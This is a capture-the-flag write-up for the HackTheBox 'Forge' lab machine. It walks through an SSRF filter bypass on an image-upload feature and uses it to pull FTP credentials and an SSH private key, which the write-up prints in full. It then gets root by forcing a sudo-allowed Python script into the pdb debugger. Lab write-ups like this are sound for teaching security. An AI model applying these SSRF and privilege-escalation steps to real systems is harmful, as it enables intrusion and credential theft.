Posts HackTheBox - Forge - Write-Up
Post
Cancel

HackTheBox - Forge - Write-Up

Preview Image

Box Statistics

  
NameForge
Release DateSeptember 11, 2021
Operating SystemLinux Desktop View
Difficulty\(\color{yellow} \text{MEDIUM}\)
Difficulty RatingDesktop View
Machine MatrixDesktop View
Base PointsDesktop View
CreatorNoobHacker9999

Reconnaissance

Port Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p- -vvv -oA all_ports 10.10.11.111 --min-rate 10000
# Nmap 7.91 scan initiated Thu Oct 14 10:49:16 2021 as: nmap -p- -vvv -oA all_ports --min-rate 10000 10.10.11.111
Increasing send delay for 10.10.11.111 from 0 to 5 due to 1666 out of 5552 dropped probes since last increase.
Nmap scan report for 10.10.11.111
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2021-10-14 10:49:17 EDT for 9s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT   STATE    SERVICE REASON
21/tcp filtered ftp     no-response
22/tcp open     ssh     syn-ack ttl 63
80/tcp open     http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Oct 14 10:49:27 2021 -- 1 IP address (1 host up) scanned in 10.19 seconds

┌──(sarange㉿kali)-[~/Forge]
└─$ sudo nmap -p80,22 -sC -sV -oA scripts 10.10.11.111
# Nmap 7.91 scan initiated Thu Oct 14 10:50:36 2021 as: nmap -p80,22,21 -sC -sV -oA scripts 10.10.11.111
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.088s latency).

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: GalleryS
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 14 10:50:48 2021 -- 1 IP address (1 host up) scanned in 11.75 seconds

User

Image Upload

Browsing to the IP, we get redirected to http://forge.htb, so we put that on our /etc/hosts file.

On the site, we can see that there are only 2 pages, /index and /upload. On the upload page we have 2 options, upload a local file, or upload from a URL.

Desktop View

If we try to get forge.htb, 127.0.0.1 or localhost we get an error.

Desktop View

We can try to bypass that filter by changig the base of the IP.

Desktop View

Trying to get http://0x7F000001, we bypass the filter, but the response is not that usefull.

Desktop View

Virtual Host

Let’s try to find if there is any subdomain using virtual host that we don’t know about.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(sarange㉿kali)-[~/Forge]
└─$ gobuster vhost forge.htb -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://forge.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/10/14 12:14:58 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
Progress: 372 / 114442 (0.33%)

Putting admin.forge.htb to our /etc/hosts file and browsing to it, we get a response the message Only localhost is allowed!.

Chaining our findings

We can try to access admin.forge.htb from the /upload endpoint, but since this is through virtual hosting, we need to obfuscate the site in a way that bypasses the filter but still fetches the admin page.

Simply getting http://admin.forgE.htb instead of http://admin.forge.htb gives us a result.

Desktop View

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

Getting the /announcements page, we see the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

So we can try to hit the ftp on the server, that is show as filtered on our nmap.

To do so, we need to provide the credentials to the ftp in the URL, so the URL that we will try to hit is http://admin.forgE.htb/upload?u=ftp://user:heightofsecurity123!@forgE.htb from the /upload functionality on the original site.

1
2
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Oct 14 05:06 user.txt

Now we can download the user.txt using the followin URL http://admin.forgE.htb/upload?u=ftp://user:heightofsecurity123!@forgE.htb/user.txt from the /upload functionality on the original site.

Since this seems to be the home directory of the user user, we can try to download the ssh private key on ~/.ssh/id_rsa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
WJ+u2z/VObp0IIKEfsgX+cWXQUt8RJAnKgTUjGAmfNRL9nJxomYHlySQz2xL4UYXXzXr8G
mL6X0+nKrRglaNFdC0ykLTGsiGs1+bc6jJiD1ESiebAS/ZLATTsaH46IE/vv9XOJ05qEXR
GUz+aplzDG4wWviSNuerDy9PTGxB6kR5pGbCaEWoRPLVIb9EqnWh279mXu0b4zYhEg+nyD
K6ui/nrmRYUOadgCKXR7zlEm3mgj4hu4cFasH/KlAAAFgK9tvD2vbbw9AAAAB3NzaC1yc2
EAAAGBAJ2SDvkMsH4J37aqOWrPqKx1v8NVm6xuouge079j3UNPTYsTprR0d658R6Lr+P5d
aTtp4z3+Rm41RwLDMCQ15gzY2qmXzvTmAuyu4a+xVesZVFk4cHCqNISDlbhOyYdXfo36Q2
GF6jjea+g8zgyOVjMCypfZ+a27RZKN8Wi3sJB2ExNmGN7r1aacbJwryf+rpK+qe283EcoG
K08hAFoOYDkX7KoQtx2qDsV4l4Bs01sl7X9qOM5jYbLX3YFlgaRH24BYGdw1ifrts/1Tm6
dCCChH7IF/nFl0FLfESQJyoE1IxgJnzUS/ZycaJmB5ckkM9sS+FGF1816/Bpi+l9Ppyq0Y
JWjRXQtMpC0xrIhrNfm3OoyYg9REonmwEv2SwE07Gh+OiBP77/VzidOahF0RlM/mqZcwxu
MFr4kjbnqw8vT0xsQepEeaRmwmhFqETy1SG/RKp1odu/Zl7tG+M2IRIPp8gyurov565kWF
DmnYAil0e85RJt5oI+IbuHBWrB/ypQAAAAMBAAEAAAGALBhHoGJwsZTJyjBwyPc72KdK9r
rqSaLca+DUmOa1cLSsmpLxP+an52hYE7u9flFdtYa4VQznYMgAC0HcIwYCTu4Qow0cmWQU
xW9bMPOLe7Mm66DjtmOrNrosF9vUgc92Vv0GBjCXjzqPL/p0HwdmD/hkAYK6YGfb3Ftkh0
2AV6zzQaZ8p0WQEIQN0NZgPPAnshEfYcwjakm3rPkrRAhp3RBY5m6vD9obMB/DJelObF98
yv9Kzlb5bDcEgcWKNhL1ZdHWJjJPApluz6oIn+uIEcLvv18hI3dhIkPeHpjTXMVl9878F+
kHdcjpjKSnsSjhlAIVxFu3N67N8S3BFnioaWpIIbZxwhYv9OV7uARa3eU6miKmSmdUm1z/
wDaQv1swk9HwZlXGvDRWcMTFGTGRnyetZbgA9vVKhnUtGqq0skZxoP1ju1ANVaaVzirMeu
DXfkpfN2GkoA/ulod3LyPZx3QcT8QafdbwAJ0MHNFfKVbqDvtn8Ug4/yfLCueQdlCBAAAA
wFoM1lMgd3jFFi0qgCRI14rDTpa7wzn5QG0HlWeZuqjFMqtLQcDlhmE1vDA7aQE6fyLYbM
0sSeyvkPIKbckcL5YQav63Y0BwRv9npaTs9ISxvrII5n26hPF8DPamPbnAENuBmWd5iqUf
FDb5B7L+sJai/JzYg0KbggvUd45JsVeaQrBx32Vkw8wKDD663agTMxSqRM/wT3qLk1zmvg
NqD51AfvS/NomELAzbbrVTowVBzIAX2ZvkdhaNwHlCbsqerAAAAMEAzRnXpuHQBQI3vFkC
9vCV+ZfL9yfI2gz9oWrk9NWOP46zuzRCmce4Lb8ia2tLQNbnG9cBTE7TARGBY0QOgIWy0P
fikLIICAMoQseNHAhCPWXVsLL5yUydSSVZTrUnM7Uc9rLh7XDomdU7j/2lNEcCVSI/q1vZ
dEg5oFrreGIZysTBykyizOmFGElJv5wBEV5JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr
W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

We can ssh to the user using this key.

1
2
3
4
5
6
7
8
9
10
┌──(sarange㉿kali)-[~/Forge]
└─$ vim user.rsa
                                              
┌──(sarange㉿kali)-[~/Forge]
└─$ chmod 600 user.rsa  
                                           
┌──(sarange㉿kali)-[~/Forge]
└─$ ssh -i user.rsa user@forge.htb                    
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
[more ouput]

Root

First, we see if we can run anything as root using sudo.

1
2
3
4
5
6
-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

We can try to read this script to see if we can escape from it during execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

We see that the script peaks one random port to bind to and listens for a hardcoded password, secretadminpassword. If the password supplied is incorrect, it simply exits, else, there are 3 hardcoded options that you can choose to execute, each of them, executes a command as root. This part is not exploitable.

We can see though that the script has a try-catch statement, that if an exception is caught, the pdb debugger will be executed, givin us an interactive python session as root. That exception can be triggered on demand on line option = int(clientsock.recv(1024).strip()) since the variable clientsock.recv(1024) is user controlled. Passing a non-numeric character or string to that variable will trigger an exception while converting it to an integer.

Since the port that the application talks to is random, we will open an socks5 proxy through ssh and use proxychains to pass traffic from our host machine to the remote host on whatever port is needed.

\[\color{grey} \text{(We could also do this on the remote host exclusevely, but what's he fun in that?)}\]

Let’s install proxychains, change the configuration from port 9050 (tor) to a one we want to assign as the socks5 proxy port, for me that will be 1080. After that, we will ssh to the remote machine, suppling the -D $PORT argument so that we create the socks5 proxy. Then we will execute the python script as root and see what port is binding to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(sarange㉿kali)-[~]
└─$ sudo apt install proxychains -y
[more ouput]

┌──(sarange㉿kali)-[~]
└─$ sudo vim /etc/proxychains.conf 

┌──(sarange㉿kali)-[~]
└─$ tail -n 2 /etc/proxychains.conf
#socks4         127.0.0.1 9050
socks5  127.0.0.1 1080

┌──(sarange㉿kali)-[~/Forge]
└─$ ssh -i user.rsa user@forge.htb -D 1080
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
[more ouput]

-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:40310

The script is bound to port 40310. We can now use proxychains to connect to it using netcat, then we give it the correct password so it asks us to choose an option and then we should give it a non-numeric character or string so that we trigger the exception.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(sarange㉿kali)-[~]
└─$ proxychains nc localhost 40310
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:40310-<><>-OK
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
hey


We can see that the output hangs, so the exception was triggered. Now on the remote host, we can try to import the os library and call /bin/bash from there.

1
2
3
4
5
6
7
8
9
10
-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:40310
invalid literal for int() with base 10: b'hey'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system('/bin/bash')
root@forge:/home/user# cd /root
root@forge:~# wc -c root.txt
33 root.txt
This post is licensed under CC BY 4.0 by the author.